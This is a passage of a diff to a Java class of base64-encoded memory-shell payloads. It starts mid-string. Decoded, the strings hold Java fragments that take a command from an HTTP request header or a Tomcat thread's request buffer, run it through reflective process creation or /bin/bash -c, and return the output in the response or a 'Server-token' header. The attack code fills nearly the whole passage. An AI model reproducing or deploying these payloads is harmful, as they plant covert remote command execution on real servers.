Y3QuTWV0aG9kIG1ldGhvZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJT2JqZWN0IGhhbmRsZSA9IG1ldGhvZC5pbnZva2UocHJvY2Vzc09iamVjdCwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgiZmRBY2Nlc3MiKTsKCQkJCQkJCQlmaWVsZDEuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlPYmplY3QgZmRBY2Nlc3MgPSBmaWVsZDEuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMiA9IGZkQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIGxvbmcuY2xhc3N9KTsKCQkJCQkJCQltZXRob2QyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJbWV0aG9kMi5pbnZva2UoZmRBY2Nlc3MsIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCQkJfQoJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJCQlwcm9jZXNzT2JqZWN0ID0gdW5zYWZlLmFsbG9jYXRlSW5zdGFuY2UocHJvY2Vzc0NsYXNzKTsKCQkJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJCQlmb3IgKGludCBpID0gMDsgaSA8IGFyZ3MubGVuZ3RoOyBpKyspIHsKCQkJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCQkJfQoJCQkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCQkJZm9yIChpbnQgaTEgPSAwOyBpMSA8IGFyZ3MubGVuZ3RoOyBpMSsrKSB7CgkJCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCQkJfQoJCQkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJCQlieXRlW10gYnl0ZXMgID0gY21kc1swXS5nZXRCeXRlcygpOwoJCQkJCQkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCQkJCQkJamF2YS5sYW5nLlN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsIHJlc3VsdCwgMCwgYnl0ZXMubGVuZ3RoKTsKCQkJCQkJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCgkJCQkJCQl0cnkgewoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBmaWVsZC5nZXQocHJvY2Vzc09iamVjdCk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJoZWxwZXJwYXRoIik7CgkJCQkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJYnl0ZVtdIGhlbHBlcnBhdGhPYmplY3QgPSAoYnl0ZVtdKSBmaWVsZDIuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gamF2YS5sYW5nLkVudW0uY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoIm9yZGluYWwiLCBudWxsKTsKCQkJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlpbnQgb3JkaW5hbCA9IGphdmEubGFuZy5JbnRlZ2VyLnBhcnNlSW50KG1ldGhvZC5pbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCBudWxsKS50b1N0cmluZygpKTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117aW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludFtdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCByZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJpbml0U3RyZWFtcyIsIG5ldyBDbGFzc1tde2ludFtdLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMSA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtyZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCQkJdHJ5IHsKCQkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgZGNpc0NsYXNzICAgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuVU5JWFByb2Nlc3MkRGVmZXJyZWRDbG9zZUlucHV0U3RyZWFtIik7CgkJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0oKGphdmEuaW8uSW5wdXRTdHJlYW0pIGNvbnN0cnVjdG9yLm5ld0luc3RhbmNlKG5ldyBPYmplY3RbXXtzdGRvdXRfZmR9KSkpOwoJCQkJCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBuZXZlck1pbmQpIHsKCQkJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJnZXRJbnB1dFN0cmVhbSIsIG51bGwpOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IChqYXZhLmlvLklucHV0U3RyZWFtKSBtZXRob2QuaW52b2tlKHByb2Nlc3NPYmplY3QsIG51bGwpOwoJCQkJCQlpbnQgICAgICAgICAgICAgICAgIGEgID0gMDsKCQkJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCQkJYmFvcy53cml0ZShiLCAwLCBhKTsKCQkJCQkJfQoKCQkJCQkJamF2YS5pby5QcmludFdyaXRlciB3cml0ZXIgPSByZXNwb25zZS5nZXRXcml0ZXIoKTsKCQkJCQkJd3JpdGVyLndyaXRlKGJhb3MudG9TdHJpbmcoKSk7CgkJCQkJCXdyaXRlci5mbHVzaCgpOwoJCQkJCQl3cml0ZXIuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; - - public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; - - public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; - - public static String UPGRADE_SHELL = "ewoJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgcmVxdWVzdCA9ICQxOwoKCQl0cnkgewoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICBjb21tYW5kICA9IHJlcXVlc3QuZ2V0SGVhZGVyKENNRF9IRUFERVIpOwoJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSByZXNwb25zZSA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSkgZ2V0RmllbGRWYWx1ZShyZXF1ZXN0LCAicmVzcG9uc2UiKTsKCQkJcmVzcG9uc2UuZG9Xcml0ZShqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoZXhlY0NtZChjb21tYW5kKS50b0J5dGVBcnJheSgpKSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBmYWxzZTsKCX0="; - - public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; - - // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 - public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; - - // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode - public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; - // toCString public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; @@ -59,78 +19,9 @@ public class MemShellPayloads { // getUnsafe public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; - // base64Decode - public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsbmV3IE9iamVjdFtde251bGx9KTsKCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQo="; - - // base64Encode - public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbmV3IENsYXNzW117bnVsbH0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bnVsbH0pOwoJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZVRvU3RyaW5nIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzfSkuaW52b2tlKEVuY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjRFbmNvZGVyIik7CgkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXR